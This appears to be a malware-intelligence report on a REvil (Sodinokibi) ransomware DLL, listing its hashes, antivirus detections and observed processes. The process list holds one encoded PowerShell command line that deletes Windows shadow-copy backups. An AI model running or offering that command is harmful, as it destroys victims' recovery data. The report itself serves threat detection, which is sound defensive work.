909b520c493bd868b94e361035c425a343786cf06b935d3a01621dffd849e0fe

Classification: Malicious

909b520c493bd868b94e361035c425a343786cf06b935d3a01621dffd849e0fe is a ransomware (Windows executable, 116.0 KB). Linked to Revil malware.

Detection summary

  • 42 antivirus detections (59% detection ratio)
  • 0 IDS alerts
  • 3 processes observed
  • 0 contacted hosts
  • 0 DNS requests

MITRE ATT&CK associations

Malware families: REVIL (S0496)

Blacklist sightings

Description Source First seen Last seen Labels MITRE ATT&CK
DeepScan:Generic.Ransom.Sodinokibi Hybrid-Analysis 2020-07-13 02:45:20 2020-07-13 02:45:20 S0496 REvil

Sample information

Filenames
354ece7995e2e5f2bb6a5b03f5c101fd
File type
PE32 executable (DLL) (GUI) Intel 80386, for MS Wi ...
Size
118784 bytes
MD5
354ece7995e2e5f2bb6a5b03f5c101fd
SHA-1
ba650bc20498052952560e016770589cad9d322a
SHA-256
909b520c493bd868b94e361035c425a343786cf06b935d3a01621dffd849e0fe
First indexed
2020-07-13 02:45:20
Last updated
2026-09-26 12:07:54

Antivirus detections

EngineDetection
BkavW32.AIDetectVM.malware2
MicroWorld-eScanDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
FireEyeGeneric.mg.354ece7995e2e5f2
McAfeeSodinokibi!354ECE7995E2
CylanceUnsafe
SangforMalware
CrowdStrikewin/malicious_confidence_100% (D)
TrendMicroRansom.Win32.SODINOKIBI.SMTH
BitDefenderThetaGen:NN.ZedlaF.34132.hu4@aGnovRb
F-ProtW32/Kryptik.AKW.gen!Eldorado
SymantecML.Attribute.HighConfidence
APEXMalicious
AvastWin32:Malware-gen
ClamAVWin.Ransomware.Sodinokibi-7013612-0
KasperskyHEUR:Trojan-Ransom.Win32.Crypmod.vho
BitDefenderDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
NANO-AntivirusVirus.Win32.Gen.ccmw
RisingRansom.Crypmod!8.DA9 (RDMK:cmRtazrqCaa3/To6uWclGlpkYmjF)
Endgamemalicious (high confidence)
EmsisoftDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1 (B)
F-SecureTrojan.TR/Crypt.XPACK.Gen
Invinceaheuristic
SentinelOneDFI - Malicious PE
CyrenW32/Kryptik.AKW.gen!Eldorado
AviraTR/Crypt.XPACK.Gen
FortinetW32/Sodinokibi.B!tr.ransom
ArcabitDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
ZoneAlarmHEUR:Trojan-Ransom.Win32.Crypmod.vho
MicrosoftRansom:Win32/Sodinokibi.DSB!MTB
CynetMalicious (score: 100)
AhnLab-V3Trojan/Win32.RL_Ransom.R290570
VBA32BScope.Trojan.DelShad
ALYacDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
MAXmalware (ai score=84)
Ad-AwareDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
MalwarebytesRansom.Sodinokibi
TrendMicro-HouseCallRansom.Win32.SODINOKIBI.SMTH
IkarusTrojan-Ransom.Sodinokibi
GDataDeepScan:Generic.Ransom.Sodinokibi.33D0C3E1
AVGWin32:Malware-gen
PandaTrj/GdSda.A
Qihoo-360HEUR/QVM40.1.86EF.Malware.Gen

Process list

NameCommand line
<Ignored Process>
rundll32.exe"C:\354ece7995e2e5f2bb6a5b03f5c101fd.dll",DllMain
powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==